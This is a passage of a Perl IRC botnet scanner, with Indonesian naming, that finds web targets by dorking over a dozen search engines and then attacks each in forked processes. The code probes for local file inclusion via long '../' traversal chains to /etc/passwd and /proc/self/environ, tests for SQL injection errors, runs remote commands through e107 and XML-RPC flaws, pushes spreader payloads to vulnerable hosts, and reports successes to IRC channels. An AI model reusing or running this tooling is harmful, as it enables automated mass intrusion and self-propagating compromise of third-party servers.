  622. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  623. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  624. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  625. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  626. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  627. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  628. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  629. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  630. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  631. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  632. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  633. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  634. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  635. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../etc/passwd%00".$colz{1}." ]");}}}
  636. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../etc/passwd%00".$colz{1}." ]");}}}
  637. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../etc/passwd%00".$colz{1}." ]");}}}
  638. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../etc/passwd%00".$colz{1}." ]");}}}
  639. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../etc/passwd%00".$colz{1}." ]");}}}
  640.  
  641. else {
  642. $q = bukasitus("http://".$situs.$bug.$xsslfitst);
  643. if ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{9}."XSSLFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
  644. }
  645. }
  646. }
  647. }
  648. exit(0);
  649. }
  650. $num++;
  651. }
  652. irc_msg($chan,$colz{14}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..") if (!$engine);
  653. foreach my $f (@prosesbaru) { waitpid($f,0); }
  654. irc_msg($chan,$colz{4}." $engine FiNizZ! ") if ($engine);
  655. }
  656.  
  657. sub crsql_eksploit {
  658. my ($chan,$bug,$dork,$tf,$engine,$type) = @_;
  659. my @prosesbaru;
  660. my @semuatarget;
  661. my $hitung;
  662. my $num = 0;
  663. unless (open(FILEZ,"< $tf")) { msge($chan,"FILE",$colz{4}."Ga BiSa BuKa $tf!"); return; }
  664. while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  665. close(FILEZ);
  666. f_hapus($tf);
  667. my @kotor = lnk_sortir(@semuatarget);
  668. my @target = lnk_filter(@kotor);
  669. foreach my $situs (@target) {
  670. $hitung++;
  671. if ($hitung % $conf{rfipid} == 0) {
  672. foreach my $f (@prosesbaru) { waitpid($f,0); }
  673. $num = 0;
  674. }
  675. if ($hitung % $conf{rficnt2} == 0) {
  676. irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
  677. irc_msg($chan,$colz{14}." $engine ".$colz{13}." ".$hitung." ".$colz{1}."=> ".$colz{12}." ".scalar(@target). " ");
  678. }
  679. $prosesbaru[$num] = fork();
  680. if ($prosesbaru[$num] == 0) {
  681. my $q;
  682. if ($type == 1){
  683. $q = bukasitus("http://".$situs.$bug.$sqltest);
  684. } elsif ($type == 2){
  685. $q = bukasituscrxml("http://".$situs.$bug,"uname -a");
  686. }elsif ($type == 3){
  687. $q = bukasituscre107("http://".$situs.$bug,"CASPER VURN");
  688. }elsif ($type == 4){
  689. $q = bukasitus("http://".$situs.$bug.$xsslfitst);
  690. }
  691. if ($q =~ /sql syntax/) { irc_msg($chan,"[".$colz{9}."SQL".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : sql syntax"); }
  692. elsif ($q =~ /sql error/) { irc_msg($chan,"[".$colz{9}."SQL".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : sql error"); }
  693. elsif ($q =~ /right syntax to use near/) { irc_msg($chan,"[".$colz{9}."SQL".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : right syntax to use near"); }
  694. elsif ($q =~ /syntax error converting/) { irc_msg($chan,"[".$colz{9}."SQL".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : syntax error converting"); }
  695. elsif ($q =~ /unclosed quotation/) { irc_msg($chan,"[".$colz{9}."SQL".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : unclosed quotation"); }
  696. elsif (($q =~ /e107/) && ($q =~ /casper(.*)kae/)) { my $uname = $1; $uname=~s/\n//; $uname=~s/\r//; my $cekuname = $uname; if($cekuname =~ /php_uname/){ $uname = ""; } if($cekuname =~ /http/){ $uname = ""; } if($cekuname =~ /</){ $uname = ""; } bukasituscre107spred("http://".$situs.$bug,$caspercmd); bukasituscre107spred("http://".$situs.$bug,$e107sprd3); bukasituscre107spred("http://".$situs.$bug,$e107sprd2); bukasituscre107spred("http://".$situs.$bug,$e107sprd);
  697. my $e107safe = bukasituscre107("http://".$situs.$bug,"id"); if ($e107safe =~ /uid=/){
  698. irc_msg($dbgchan,"[".$colz{4}."e107".$colz{1}."][".$colz{7}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{4}."OFF".$colz{1}."] ".$colz{14}.$uname); irc_msg($chan,"[".$colz{4}."e107".$colz{1}."][".$colz{7}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{4}."OFF".$colz{1}."] ".$colz{14}.$uname); } else {
  699. irc_msg($chan,"[".$colz{4}."e107".$colz{1}."][".$colz{7}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{4}."ON" .$colz{1}."] ".$colz{14}.$uname); }}
  700. elsif (($q =~ /casper(.*)kae/s) && ($bug !~ /contact.php/)) { my $uname = $1; $uname=~s/\n//; $uname=~s/\r//; my $cekuname = $uname; if($cekuname =~ /uname -a/){ $uname = ""; } if($cekuname =~ /http/){ $uname = ""; } if($cekuname =~ /</){ $uname = ""; }
  701. irc_msg($chan,"[".$colz{9}."XML".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."] ".$colz{14}.$uname); bukasituscrxml("http://".$situs.$bug,$e107cmdsp2); bukasituscrxml("http://".$situs.$bug,$e107cmdsp); }
  702. elsif ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{9}."XSSLFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
  703. exit(0);
  704. }
  705. $num++;
  706. }
  707. irc_msg($chan,$colz{14}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..") if (!$engine);
  708. foreach my $f (@prosesbaru) { waitpid($f,0); }
  709. irc_msg($chan,$colz{4}." $engine FiNizZ! ") if ($engine);
  710. }
  711. ###########################
  712. ##[ RUTIN SEARCH ENGINE ]##
  713. ###########################
  714. sub s_cari {
  715. #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  716. my ($chan,$dork,$nf,$bug,$type) = @_;
  717. my @engz;
  718. my $key = $dork;
  719. $dork = urlen($key);
  720. $engz[0] = fork(); if ($engz[0] == 0) { s_engine("google", "Google" ,$type,$chan,$bug,$dork,$nf); exit; }
  721. $engz[1] = fork(); if ($engz[1] == 0) { s_engine("netscape", "Netscape" ,$type,$chan,$bug,$dork,$nf); exit; }
  722. $engz[2] = fork(); if ($engz[2] == 0) { s_engine("yahoo", "Yahoo" ,$type,$chan,$bug,$dork,$nf); exit; }
  723. $engz[3] = fork(); if ($engz[3] == 0) { s_engine("live", "Live" ,$type,$chan,$bug,$dork,$nf); exit; }
  724. $engz[4] = fork(); if ($engz[4] == 0) { s_engine("google2", "Google2" ,$type,$chan,$bug,$dork,$nf); exit; }
  725. $engz[5] = fork(); if ($engz[5] == 0) { s_engine("altavista", "Altavista" ,$type,$chan,$bug,$dork,$nf); exit; }
  726. $engz[6] = fork(); if ($engz[6] == 0) { s_engine("alltheweb", "AllTheWeb" ,$type,$chan,$bug,$dork,$nf); exit; }
  727. $engz[7] = fork(); if ($engz[7] == 0) { s_engine("goodsrch", "GoodSearch" ,$type,$chan,$bug,$dork,$nf); exit; }
  728. $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos", "Lycos" ,$type,$chan,$bug,$dork,$nf); exit; }
  729. $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol", "Uol" ,$type,$chan,$bug,$dork,$nf); exit; }
  730. $engz[10] = fork(); if ($engz[10] == 0) { s_engine("virgilio", "Virgilio" ,$type,$chan,$bug,$dork,$nf); exit; }
  731. $engz[11] = fork(); if ($engz[11] == 0) { s_engine("webde", "Web.de" ,$type,$chan,$bug,$dork,$nf); exit; }
  732. $engz[12] = fork(); if ($engz[12] == 0) { s_engine("clusty", "Clusty" ,$type,$chan,$bug,$dork,$nf); exit; }
  733. $engz[13] = fork(); if ($engz[13] == 0) { s_engine("hotbot", "Hotbot" ,$type,$chan,$bug,$dork,$nf); exit; }
  734. foreach my $e (@engz) { waitpid($e,0); }
  735. }
  736.  
  737. sub crsql_cari {
  738. my ($chan,$bug,$dork,$nf,$type) = @_;
  739. my @engz;
  740. my $key = $dork;
  741. $dork = urlen($key);
  742. $engz[0] = fork(); if ($engz[0] == 0) { crsql_engine("google", "Google" ,$chan,$bug,$dork,$nf,$type); exit; }
  743. $engz[1] = fork(); if ($engz[1] == 0) { crsql_engine("netscape", "Netscape" ,$chan,$bug,$dork,$nf,$type); exit; }
  744. $engz[2] = fork(); if ($engz[2] == 0) { crsql_engine("yahoo", "Yahoo" ,$chan,$bug,$dork,$nf,$type); exit; }
  745. $engz[3] = fork(); if ($engz[3] == 0) { crsql_engine("live", "Live" ,$chan,$bug,$dork,$nf,$type); exit; }
  746. $engz[4] = fork(); if ($engz[4] == 0) { crsql_engine("google2", "Google2" ,$chan,$bug,$dork,$nf,$type); exit; }
  747. $engz[5] = fork(); if ($engz[5] == 0) { crsql_engine("altavista", "Altavista" ,$chan,$bug,$dork,$nf,$type); exit; }
  748. $engz[6] = fork(); if ($engz[6] == 0) { crsql_engine("alltheweb", "AllTheWeb" ,$chan,$bug,$dork,$nf,$type); exit; }
  749. $engz[7] = fork(); if ($engz[7] == 0) { crsql_engine("goodsrch", "GoodSearch" ,$chan,$bug,$dork,$nf,$type); exit; }
  750. $engz[8] = fork(); if ($engz[8] == 0) { crsql_engine("lycos", "Lycos" ,$chan,$bug,$dork,$nf,$type); exit; }
  751. $engz[9] = fork(); if ($engz[9] == 0) { crsql_engine("uol", "Uol" ,$chan,$bug,$dork,$nf,$type); exit; }
  752. $engz[10] = fork(); if ($engz[10] == 0) { crsql_engine("virgilio", "Virgilio" ,$chan,$bug,$dork,$nf,$type); exit; }
  753. $engz[11] = fork(); if ($engz[11] == 0) { crsql_engine("webde", "Web.de" ,$chan,$bug,$dork,$nf,$type); exit; }
  754. $engz[12] = fork(); if ($engz[12] == 0) { crsql_engine("clusty", "Clusty" ,$chan,$bug,$dork,$nf,$type); exit; }
  755. $engz[13] = fork(); if ($engz[13] == 0) { crsql_engine("hotbot", "Hotbot" ,$chan,$bug,$dork,$nf,$type); exit; }
  756. foreach my $e (@engz) { waitpid($e,0); }
  757. }
  758.  
  759. sub crsql_engine {
  760. my ($f,$se,$chan,$bug,$dork,$ef,$type) = @_;
  761. my @hc;
  762. if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
  763. elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
  764. elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
  765. elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
  766. elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
  767. elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
  768. elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
  769. elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
  770. elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
  771. elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
  772. elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
  773. elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
  774. elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); }
  775. elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
  776. my @cl = lnk_sortir(@hc);
  777. msgr($chan,$colz{12}.$se,$colz{13}." ".scalar(@hc),$colz{14}."=(".$colz{13}."link".$colz{14}.")=>".$colz{7}." ".scalar(@cl));
  778. if (scalar(@cl) == 0) { exit; }
  779.  
  780. my $ef2 = $f.$ef;
  781. foreach my $e (@cl) { f_simpan($ef2,$e); }
  782. crsql_eksploit($chan,$bug,$dork,$ef2,$se,$type);
  783. }
  784.  
  785. sub s_engine {
  786. my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
  787. my @hc;
  788. if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
  789. elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
  790. elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
  791. elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
  792. elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
  793. elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
  794. elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
  795. elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
  796. elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
  797. elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
  798. elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
  799. elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
  800. elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); }
  801. elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
  802. my @cl = lnk_sortir(@hc);
  803. msgr($chan,$colz{12}.$se,$colz{13}." ".scalar(@hc),$colz{14}."=(".$colz{13}."link".$colz{14}.")=>".$colz{7}." ".scalar(@cl));
  804. if (scalar(@cl) == 0) { exit; }
  805. if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
  806. else {
  807. my $ef2 = $f.$ef;
  808. foreach my $e (@cl) { f_simpan($ef2,$e); }
  809. if ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
  810. elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
  811. }
  812. }
  813. ##[ GOOGLE ]##
  814. sub se_google {
  815. my ($chan,$key,$nf) = @_;
  816. my @daftar;
  817. my $num = 50; my $max = 5000; my $p = 0;
  818. my $url = "http://www.google.id/search?q=".$key."$num=".$num."&filter=0&start=".$p;
  819. my $murl = "http://www.google.com";
  820. my $nxurl;
  821. my $q = bukasitus($url);
  822. if ( $q !~ /2010 Google/ ) { msge($chan,$colz{9}."Google",$colz{4}."Baned!!"); msge($chan,$colz{9}."Google bypas:",$colz{14}.$bypass."key=".$colz{9}.$key); @daftar = se_gbypass($chan,$key,$nf); }
  823. if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
  824. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Google",$colz{13}." $h");
  825. }
  826. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  827. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");}
  828. }
  829. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  830. for ($p=50;$p<=$max;$p+=$num) {
  831. $nxurl = "http://www.google.id/search?q=".$key."$num=".$num."&filter=0&start=".$p;
  832. $q = bukasitus($nxurl);
  833. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  834. if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  835. }
  836. return @daftar;
  837. }
  838. ##[ GOOGLE BYPASS ]##
  839. sub se_gbypass {
  840. my ($chan,$key,$nf) = @_;
  841. my @daftar;
  842. my $num = 50; my $max = 1000; my $p = 0;
  843. my $url = $bypass."?key=".$key."&max=".$max;
  844. my $nxurl;
  845. my $q = bukasitus($url);
  846. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  847. return @daftar;
  848. }
  849. ##[ GOOGLE MULTI DOMAIN ]##
  850. sub se_google_m {
  851. my ($chan,$key,$nf) = @_;
  852. my @daftar;
  853. my $num = 50; my $max = 5000; my $p;
  854. my @doms = (
  855. "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
  856. "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
  857. "com.tr","com.tw","com.ua","co.uk","hu");
  858. my $dom = $doms[rand(scalar(@doms))];
  859. my $url = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&filter=0";
  860. my $murl = "http://www.google.".$dom;
  861. my $nxurl;
  862. my $q = bukasitus($url);
  863. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  864. my $nxurl = $1;
  865. if ($conf{showdbse} == 1){msgn($dbgchan,"Google.".$dom,$nxurl);}
  866. msgn($chan,$colz{9}."Google.".$dom,$colz{12}."LaGi NyAri..");
  867. }
  868. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  869. for ($p=50;$p<=$max;$p+=$num) {
  870. $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
  871. $q = bukasitus($nxurl);
  872. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  873. if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  874. }
  875. return @daftar;
  876. }
  877. ##[ YAHOO ]##
  878. sub se_yahoo {
  879. my ($chan,$key,$nf) = @_;
  880. my @daftar;
  881. my $num = 50; my $max = 8000; my $p = "1";
  882. my $url = "http://search.yahoo.com/search?p=".$key."&b=".$p;
  883. my $murl;
  884. my $nxurl;
  885. my $q = bukasitus($url);
